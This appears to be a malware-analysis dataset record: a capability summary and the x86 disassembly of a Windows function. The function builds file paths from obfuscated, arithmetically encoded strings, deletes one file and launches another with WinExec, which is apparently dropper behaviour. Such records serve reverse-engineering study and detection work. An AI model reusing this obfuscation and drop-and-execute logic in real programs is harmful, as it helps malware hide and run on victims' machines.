Function at 0x4021e7
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13360
call fcn.004036c0
push ebx
push esi
push edi
lea eax, [ebp - 0xb04]
push eax
push 0x3fc
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0xb04]
push 0x4050a8
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xb04]
push eax
lea eax, [ebp - 0x704]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 4]
push 0x378
push eax
call fcn.00402166
push dword [eax]
lea eax, [ebp - 0x704]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
movzx ax, byte [0x405081]
push 0x3d
pop ecx
xor ebx, ebx
mov word [ebp - 0xfc], bx
lea edi, [ebp - 0xfa]
sub eax, 0x43
mov word [ebp - 0x104], ax
movzx ax, byte [0x405066]
add eax, 0x56
mov word [ebp - 0x102], ax
movzx ax, byte [0x40504b]
add eax, 0x19
mov word [ebp - 0x100], ax
movzx ax, byte [0x405021]
add eax, 0x3b
mov word [ebp - 0xfe], ax
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString_3
push dword [eax]
lea eax, [ebp - 0x704]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
call dword [sym.imp.MSVCRT.dll_rand]
push 4
cdq
pop ecx
idiv ecx
mov dword [ebp - 4], ebx
mov esi, edx
inc esi
inc dword [ebp - 4]
cmp esi, 3
jle 0x4022f7
xor esi, esi
cmp dword [ebp - 4], 4
jg 0x40266a
cmp esi, 1
je 0x40257b
cmp esi, 3
je 0x40257b
cmp esi, 2
jne 0x40244b
movzx ax, byte [0x40508d]
push 0x38
mov word [ebp - 0x1e6], bx
lea edi, [ebp - 0x1e4]
add eax, 0x29
mov word [ebp - 0x204], ax
movzx ax, byte [0x40503e]
lea ecx, [eax + 0x54]
add eax, 0xb
mov word [ebp - 0x1fe], ax
movzx ax, byte [0x405070]
mov word [ebp - 0x202], cx
movzx cx, byte [0x405060]
add eax, 0x34
mov word [ebp - 0x1fc], ax
movzx ax, byte [0x405044]
add ecx, 0xb
mov word [ebp - 0x200], cx
add eax, 0x4c
mov word [ebp - 0x1fa], ax
movzx ax, byte [0x405061]
add eax, 8
mov word [ebp - 0x1f8], ax
movzx ax, byte [0x405020]
add eax, 0x51
mov word [ebp - 0x1f6], ax
movzx ax, byte [0x405059]
add eax, 0x2d
mov word [ebp - 0x1f4], ax
movzx ax, byte [0x405086]
sub eax, 0x2d
mov word [ebp - 0x1f2], ax
movzx ax, byte [str._H_vkB_aLn_Z_zK_V_J_H2__T_T9XA_KTvMFO]
add eax, 0xe
mov word [ebp - 0x1f0], ax
movzx ax, byte [0x40505f]
lea ecx, [eax + 6]
mov word [ebp - 0x1ee], cx
movzx cx, byte [0x40506b]
add eax, 0x45
mov word [ebp - 0x1e8], ax
xor eax, eax
add ecx, 6
mov word [ebp - 0x1ec], cx
movzx cx, byte [0x405046]
add ecx, 0x4b
mov word [ebp - 0x1ea], cx
pop ecx
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x704]
mov ecx, esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
mov ecx, esp
lea eax, [ebp - 0x204]
jmp 0x402561
movzx ax, byte [0x405057]
push 0x39
pop ecx
mov word [ebp - 0x2ea], bx
lea edi, [ebp - 0x2e8]
add eax, 0x1f
mov word [ebp - 0x304], ax
movzx ax, byte [0x405070]
add eax, 0x29
mov word [ebp - 0x302], ax
movzx ax, byte [0x405082]
add eax, 0x20
mov word [ebp - 0x300], ax
movzx ax, byte [0x405046]
add eax, 0x55
mov word [ebp - 0x2fe], ax
movzx ax, byte [0x40506c]
sub eax, 6
mov word [ebp - 0x2fc], ax
movzx ax, byte [0x40504a]
add eax, 0x28
mov word [ebp - 0x2fa], ax
movzx ax, byte [0x405075]
sub eax, 0x14
mov word [ebp - 0x2f8], ax
movzx ax, byte [0x405087]
sub eax, 0x23
mov word [ebp - 0x2f6], ax
movzx ax, byte [0x405043]
sub eax, 0x25
mov word [ebp - 0x2f4], ax
movzx ax, byte [0x405081]
sub eax, 0x43
mov word [ebp - 0x2f2], ax
movzx ax, byte [0x40508d]
add eax, 0x20
mov word [ebp - 0x2f0], ax
movzx ax, byte [0x40504d]
add eax, 0x3a
mov word [ebp - 0x2ee], ax
movzx ax, byte [0x405076]
add eax, 3
mov word [ebp - 0x2ec], ax
xor eax, eax
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x704]
mov ecx, esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
mov ecx, esp
lea eax, [ebp - 0x304]
push eax
call sub.MFC42.DLL_CString::CString_3
call fcn.00401b1b
test al, al
pop ecx
pop ecx
jne 0x402671
jmp 0x4022ec
movzx ax, byte [0x405077]
push 0x3a
mov word [ebp - 0xee], bx
lea edi, [ebp - 0xec]
sub eax, 4
mov word [ebp - 0x104], ax
movzx ax, byte [0x405028]
lea ecx, [eax - 0x26]
add eax, 0xffffffd0
mov word [ebp - 0x100], ax
movzx ax, byte [0x40506e]
mov word [ebp - 0x102], cx
pop ecx
sub eax, 0x19
mov word [ebp - 0xfe], ax
movzx ax, byte [0x405041]
sub eax, 0x12
mov word [ebp - 0xfc], ax
movzx ax, byte [0x405021]
sub eax, 7
mov word [ebp - 0xfa], ax
movzx ax, byte [0x405056]
sub eax, 0x18
mov word [ebp - 0xf8], ax
movzx ax, byte [0x405050]
sub eax, 0x20
mov word [ebp - 0xf6], ax
movzx ax, byte [0x405049]
add eax, 0xc
mov word [ebp - 0xf4], ax
movzx ax, byte [0x40503f]
sub eax, 0xd
mov word [ebp - 0xf2], ax
movzx ax, byte [0x405023]
sub eax, 0x2f
mov word [ebp - 0xf0], ax
xor eax, eax
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x704]
mov ecx, esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
mov ecx, esp
lea eax, [ebp - 0x104]
jmp 0x402561
xor al, al
jmp 0x40277c
push ecx
nop
mov ecx, 0x14c
pop ecx
lea eax, [ebp - 4]
push 0x61
push eax
call fcn.00402166
push dword [eax]
lea eax, [ebp - 0xb04]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
movzx ax, byte [0x405053]
push 0x3d
pop ecx
mov word [ebp - 0xfc], bx
lea edi, [ebp - 0xfa]
sub eax, 0x1d
mov word [ebp - 0x104], ax
movzx ax, byte [0x405067]
add eax, 0x4b
mov word [ebp - 0x102], ax
movzx ax, byte [0x405028]
add eax, 0x1a
mov word [ebp - 0x100], ax
movzx ax, byte [0x40502f]
add eax, 0x43
mov word [ebp - 0xfe], ax
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString_3
push dword [eax]
lea eax, [ebp - 0xb04]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
cmp ecx, 0xfa
nop
lea ecx, [ebp - 0x13360]
call fcn.004010f2
lea eax, [ebp - 0xb04]
push eax
lea eax, [ebp - 0x704]
push eax
lea ecx, [ebp - 0x13360]
call fcn.00401792
cmp al, 1
jne 0x40276f
lea eax, [ebp - 0x704]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 5
lea eax, [ebp - 0xb04]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov bl, 1
lea ecx, [ebp - 0x13360]
call fcn.004011a2
mov al, bl
pop edi
pop esi
pop ebx
leave
ret